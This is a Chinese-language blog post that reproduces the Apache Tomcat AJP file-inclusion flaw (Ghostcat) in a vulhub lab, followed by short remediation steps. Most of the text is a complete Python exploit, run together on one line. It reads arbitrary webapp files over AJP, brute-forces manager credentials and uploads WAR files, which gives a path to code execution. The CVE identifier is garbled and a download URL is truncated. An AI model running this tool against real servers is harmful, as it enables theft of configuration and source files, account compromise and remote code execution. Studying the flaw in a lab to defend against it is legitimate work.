700字范文,内容丰富有趣,生活中的好帮手!
700字范文 > CVE--1938 Aapache Tomcat AJP文件包含漏洞复现

CVE--1938 Aapache Tomcat AJP文件包含漏洞复现

时间:2024-06-19 00:44:53

相关推荐

CVE--1938 Aapache Tomcat AJP文件包含漏洞复现

目录

一、环境搭建

1、下载vulhub

2、启动环境

二、漏洞复现

1、使用nmap扫描目标

2、运行POC验证漏洞

3、POC代码

三、修复方法

一、环境搭建

1、下载vulhub

kali系统输入命令

git clone /vulhub/vulhub.git

下载vulhub

2、启动环境

进入解压后的vulhub文件

进入tomcat文件夹

进入CVE--1938文件夹

在该文件夹下打开终端,输入以下命令启动环境

二、漏洞复现

1、使用nmap扫描目标

发现开启了8080和8009两个端口,其中8009对应服务为ajp13,而Aapache Tomcat AJP文件包含漏洞就存在于此服务中。

攻击者可以利用该漏洞读取或包含Tomcat的webapp目录下的任何文件。例如,攻击者可以读取web应用程序的配置文件或源代码。此外,如果目标web应用具有文件上传功能,攻击者可能会利用Ghostcat漏洞在目标主机上执行包含文件的恶意代码。

2、运行POC验证漏洞

运行poc,成功读取/WEB-INF/web.xml文件,存在目标漏洞

3、POC代码

from ajpy.ajp import AjpResponse, AjpForwardRequest, AjpBodyRequest, NotFoundExceptionfrom pprint import pprint, pformatfrom base64 import b64encodeimport socketimport argparseimport loggingimport reimport osimport loggingimport systry:from urllib import unquoteexcept ImportError:from urllib.parse import unquotedef setup_logger():logger = logging.getLogger('meow')handler = logging.StreamHandler()logger.addHandler(handler)logger.setLevel(logging.DEBUG)return loggerlogger = setup_logger()# helpersdef prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)fr.method = methodfr.protocol = "HTTP/1.1"fr.req_uri = req_urifr.remote_addr = target_hostfr.remote_host = Nonefr.server_name = target_hostfr.server_port = 80fr.request_headers = {'SC_REQ_ACCEPT': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8','SC_REQ_CONNECTION': 'keep-alive','SC_REQ_CONTENT_LENGTH': '0','SC_REQ_HOST': target_host,'SC_REQ_USER_AGENT': 'Mozilla/5.0 (X11; Linux x86_64; rv:46.0) Gecko/0101 Firefox/46.0','Accept-Encoding': 'gzip, deflate, sdch','Accept-Language': 'en-US,en;q=0.5','Upgrade-Insecure-Requests': '1','Cache-Control': 'max-age=0'}fr.is_ssl = Falsefr.attributes = []return frclass Tomcat(object):def __init__(self, target_host, target_port):self.target_host = target_hostself.target_port = target_portself.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)self.socket.connect((target_host, target_port))self.stream = self.socket.makefile("rb")def test_password(self, user, password):res = Falsestop = Falsecreds = b64encode(("%s:%s" % (user, password)).encode('utf-8')).decode('utf-8')self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + credswhile not stop:logger.debug("testing %s:%s" % (user, password))responses = self.forward_request.send_and_receive(self.socket, self.stream)snd_hdrs_res = responses[0]if snd_hdrs_res.http_status_code == 404:raise NotFoundException("The req_uri %s does not exist!" % self.req_uri)elif snd_hdrs_res.http_status_code == 302:self.req_uri = snd_hdrs_res.response_headers.get('Location', '')logger.info("Redirecting to %s" % self.req_uri)self.forward_request.req_uri = self.req_urielif snd_hdrs_res.http_status_code == 200:logger.info("Found valid credz: %s:%s" % (user, password))res = Truestop = Trueif 'Set-Cookie' in snd_hdrs_res.response_headers:logger.info("Here is your cookie: %s" % (snd_hdrs_res.response_headers.get('Set-Cookie', '')))elif snd_hdrs_res.http_status_code == 403:logger.info("Found valid credz: %s:%s but the user is not authorized to access this resource" % (user, password))stop = Trueelif snd_hdrs_res.http_status_code == 401:stop = Truereturn resdef start_bruteforce(self, users, passwords, req_uri, autostop):logger.info("Attacking a tomcat at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))self.req_uri = req_uriself.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri)f_users = open(users, "r")f_passwords = open(passwords, "r")valid_credz = []try:for user in f_users:f_passwords.seek(0, 0)for password in f_passwords:if autostop and len(valid_credz) > 0:self.socket.close()return valid_credzuser = user.rstrip('\n')password = password.rstrip('\n')if self.test_password(user, password):valid_credz.append((user, password))except NotFoundException as e:logger.fatal(e.message)finally:logger.debug("Closing socket...")self.socket.close()return valid_credzdef perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):self.req_uri = req_uriself.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))logger.debug("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))if user is not None and password is not None:creds = b64encode(("%s:%s" % (user, password)).encode('utf-8')).decode('utf-8')self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + credsfor h in headers:self.forward_request.request_headers[h] = headers[h]for a in attributes:self.forward_request.attributes.append(a)responses = self.forward_request.send_and_receive(self.socket, self.stream)if len(responses) == 0:return None, Nonesnd_hdrs_res = responses[0]data_res = responses[1:-1]if len(data_res) == 0:logger.info("No data in response. Headers:\n %s" % pformat(vars(snd_hdrs_res)))return snd_hdrs_res, data_resdef upload(self, filename, user, password, old_version, headers={}):deploy_csrf_token, obj_cookie = self.get_csrf_token(user, password, old_version, headers)with open(filename, "rb") as f_input:with open("/tmp/request", "w+b") as f:s_form_header = '------WebKitFormBoundaryb2qpuwMoVtQJENti\r\nContent-Disposition: form-data; name="deployWar"; filename="%s"\r\nContent-Type: application/octet-stream\r\n\r\n' % os.path.basename(filename)s_form_footer = '\r\n------WebKitFormBoundaryb2qpuwMoVtQJENti--\r\n'f.write(s_form_header.encode('utf-8'))f.write(f_input.read())f.write(s_form_footer.encode('utf-8'))data_len = os.path.getsize("/tmp/request")headers = {"SC_REQ_CONTENT_TYPE": "multipart/form-data; boundary=----WebKitFormBoundaryb2qpuwMoVtQJENti","SC_REQ_CONTENT_LENGTH": "%d" % data_len,"SC_REQ_REFERER": "http://%s/manager/html/" % (self.target_host),"Origin": "http://%s" % (self.target_host),}if obj_cookie is not None:headers["SC_REQ_COOKIE"] = obj_cookie.group('cookie')attributes = [{"name": "req_attribute", "value": ("JK_LB_ACTIVATION", "ACT")}, {"name": "req_attribute", "value": ("AJP_REMOTE_PORT", "12345")}]if old_version == False:attributes.append({"name": "query_string", "value": deploy_csrf_token})old_apps = self.list_installed_applications(user, password, old_version)r = self.perform_request("/manager/html/upload", headers=headers, method="POST", user=user, password=password, attributes=attributes)with open("/tmp/request", "rb") as f:br = AjpBodyRequest(f, data_len, AjpBodyRequest.SERVER_TO_CONTAINER)br.send_and_receive(self.socket, self.stream)r = AjpResponse.receive(self.stream)if r.prefix_code == AjpResponse.END_RESPONSE:logger.error('Upload failed')while r.prefix_code != AjpResponse.END_RESPONSE:r = AjpResponse.receive(self.stream)logger.debug('Upload seems normal. Checking...')new_apps = self.list_installed_applications(user, password, old_version)if len(new_apps) == len(old_apps) + 1:logger.info('Upload success!')else:logger.error('Upload failed')def get_error_page(self):return self.perform_request("/blablablablabla")def get_version(self):hdrs, data = self.get_error_page()for d in data:s = re.findall('(Apache Tomcat/[0-9\.]+)', d.data.decode('utf-8'))if len(s) > 0:return s[0]def get_csrf_token(self, user, password, old_version, headers={}, query=[]):# first we request the manager page to get the CSRF tokenhdrs, rdata = self.perform_request("/manager/html", headers=headers, user=user, password=password)deploy_csrf_token = re.findall('(org.apache.catalina.filters.CSRF_NONCE=[0-9A-F]*)"', "".join([d.data.decode('utf8') for d in rdata]))if old_version == False:if len(deploy_csrf_token) == 0:logger.critical("Failed to get CSRF token. Check the credentials")returnlogger.debug('CSRF token = %s' % deploy_csrf_token[0])obj = re.match("(?P<cookie>JSESSIONID=[0-9A-F]*); Path=/manager(/)?; HttpOnly", hdrs.response_headers.get('Set-Cookie', '').decode('utf-8'))if obj is not None:return deploy_csrf_token[0], objreturn deploy_csrf_token[0], Nonedef list_installed_applications(self, user, password, old_version, headers={}):deploy_csrf_token, obj_cookie = self.get_csrf_token(user, password, old_version, headers)headers = {"SC_REQ_CONTENT_TYPE": "application/x-www-form-urlencoded","SC_REQ_CONTENT_LENGTH": "0","SC_REQ_REFERER": "http://%s/manager/html/" % (self.target_host),"Origin": "http://%s" % (self.target_host),}if obj_cookie is not None:headers["SC_REQ_COOKIE"] = obj_cookie.group('cookie')attributes = [{"name": "req_attribute", "value": ("JK_LB_ACTIVATION", "ACT")},{"name": "req_attribute", "value": ("AJP_REMOTE_PORT", "{}".format(self.socket.getsockname()[1]))}]if old_version == False:attributes.append({"name": "query_string", "value": "%s" % deploy_csrf_token})hdrs, data = self.perform_request("/manager/html/", headers=headers, method="GET", user=user, password=password, attributes=attributes)found = []for d in data:im = re.findall('<small><a href="([^";]*)">', d.data.decode('utf8'))for app in im:found.append(unquote(app))return founddef undeploy(self, path, user, password, old_version, headers={}):deploy_csrf_token, obj_cookie = self.get_csrf_token(user, password, old_version, headers)path_app = "path=%s" % pathheaders = {"SC_REQ_CONTENT_TYPE": "application/x-www-form-urlencoded","SC_REQ_CONTENT_LENGTH": "0","SC_REQ_REFERER": "http://%s/manager/html/" % (self.target_host),"Origin": "http://%s" % (self.target_host),}if obj_cookie is not None:headers["SC_REQ_COOKIE"] = obj_cookie.group('cookie')attributes = [{"name": "req_attribute", "value": ("JK_LB_ACTIVATION", "ACT")},{"name": "req_attribute", "value": ("AJP_REMOTE_PORT", "{}".format(self.socket.getsockname()[1]))}]if old_version == False:attributes.append({"name": "query_string", "value": "%s&%s" % (path_app, deploy_csrf_token)})r = self.perform_request("/manager/html/undeploy", headers=headers, method="POST", user=user, password=password, attributes=attributes)r = AjpResponse.receive(self.stream)if r.prefix_code == AjpResponse.END_RESPONSE:logger.error('Undeploy failed')# Check the successful messagefound = Falseregex = r'<small><strong>Message:<\/strong><\/small>&nbsp;<\/td>\s*<td class="row-left"><pre>(OK - .*'+path+')\s*<\/pre><\/td>'while r.prefix_code != AjpResponse.END_RESPONSE:r = AjpResponse.receive(self.stream)if r.prefix_code == 3:f = re.findall(regex, r.data.decode('utf-8'))if len(f) > 0:found = Trueif found:logger.info('Undeploy succeed')else:logger.error('Undeploy failed')if __name__ == "__main__":parser = argparse.ArgumentParser()subparsers = parser.add_subparsers()parser.add_argument("target", type=str, help="Hostname or IP to attack")parser.add_argument("--port", type=int, default=8009, help="AJP port to attack (default is 8009)")parser.add_argument('-v', '--verbose', action='count', default=1)parser_bf = subparsers.add_parser('bf', help='Bruteforce Basic authentication')parser_bf.set_defaults(which='bf')parser_bf.add_argument("req_uri", type=str, default="/manager/html", help="Resource to attack")parser_bf.add_argument("-U", "--users", type=str, help="Filename containing the usernames to test against the Tomcat manager AJP", required=True)parser_bf.add_argument("-P", "--passwords", type=str, help="Filename containing the passwords to test against the Tomcat manager AJP", required=True)parser_bf.add_argument('-s', '--stop', action='store_true', default=False, help="Stop when we find valid credz")#parser_req = subparsers.add_parser('req', help='Request resource')#parser_req.set_defaults(which='req')#parser_req.add_argument("-m", "--method", type=str, default="GET", help="Request method (default=GET)", choices=AjpForwardRequest.REQUEST_METHODS.keys())parser_upload = subparsers.add_parser('upload', help='Upload WAR')parser_upload.set_defaults(which='upload')parser_upload.add_argument("filename", type=str, help="WAR file to upload")parser_upload.add_argument("-u", "--user", type=str, default=None, help="Username")parser_upload.add_argument("-p", "--password", type=str, default=None, help="Password")parser_upload.add_argument("-H", "--headers", type=str, default={}, help="Custom headers")parser_upload.add_argument("--old-version", action='store_true', default=False, help="Old version of Tomcat that does not implement anti-CSRF token")parser_upload = subparsers.add_parser('undeploy', help='Undeploy WAR')parser_upload.set_defaults(which='undeploy')parser_upload.add_argument("path", type=str, help="Installed WAR path")parser_upload.add_argument("-u", "--user", type=str, default=None, help="Username")parser_upload.add_argument("-p", "--password", type=str, default=None, help="Password")parser_upload.add_argument("-H", "--headers", type=str, default={}, help="Custom headers")parser_upload.add_argument("--old-version", action='store_true', default=False, help="Old version of Tomcat that does not implement anti-CSRF token")parser_version = subparsers.add_parser('version', help='Get version')parser_version.set_defaults(which='version')parser_upload = subparsers.add_parser('list', help='List installed applications')parser_upload.set_defaults(which='list')parser_upload.add_argument("-u", "--user", type=str, default=None, help="Username")parser_upload.add_argument("-p", "--password", type=str, default=None, help="Password")parser_upload.add_argument("-H", "--headers", type=str, default={}, help="Custom headers")parser_upload.add_argument("--old-version", action='store_true', default=False, help="Old version of Tomcat that does not implement anti-CSRF token")read_file = subparsers.add_parser('read_file', help='Exploit CVE--1938')read_file.set_defaults(which='read_file')read_file.add_argument("file_path", type=str, help="File to read")read_file.add_argument("-w", "--webapp", type=str, default="", help="webapp potential params: 'manager', 'host-manager', 'ROOT' or 'examples'")read_file.add_argument("-o", "--output", type=str, help="Output file (for binary files)")args = parser.parse_args()if args.verbose == 1:logger.setLevel(logging.INFO)else:logger.setLevel(logging.DEBUG)bf = Tomcat(args.target, args.port)if args.which == 'bf':bf.start_bruteforce(args.users, args.passwords, args.req_uri, args.stop)#elif args.which == 'req':#print bf.perform_request(args.req_uri, args.headers, args.method, args.user, args.password)elif args.which == 'upload':bf.upload(args.filename, args.user, args.password, args.old_version, args.headers)elif args.which == 'version':print(bf.get_version())elif args.which == 'list':apps = bf.list_installed_applications(args.user, args.password, args.old_version, args.headers)logger.info("Installed applications:")for app in apps:logger.info('- ' + app)elif args.which == 'undeploy':bf.undeploy(args.path, args.user, args.password, args.old_version, args.headers)elif args.which == 'read_file':attributes = [{"name": "req_attribute", "value": ("javax.servlet.include.request_uri", "/",)},{"name": "req_attribute", "value": ("javax.servlet.include.path_info", args.file_path,)},{"name": "req_attribute", "value": ("javax.servlet.include.servlet_path", "/",)},]hdrs, data = bf.perform_request("/" + args.webapp + "/xxxxx.jsp", attributes=attributes)output = sys.stdoutif args.output:output = open(args.output, "wb")for d in data:if args.output:output.write(d.data)else:try:output.write(d.data.decode('utf8'))except UnicodeDecodeError:output.write(repr(d.data))if args.output:output.close()

三、修复方法

1、升级tomcat版本

2、如无法立即进行版本更新、或者是更老版本的用户,建议直接关闭AJPConnector,或将其监听地址改为仅监听本机localhost

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。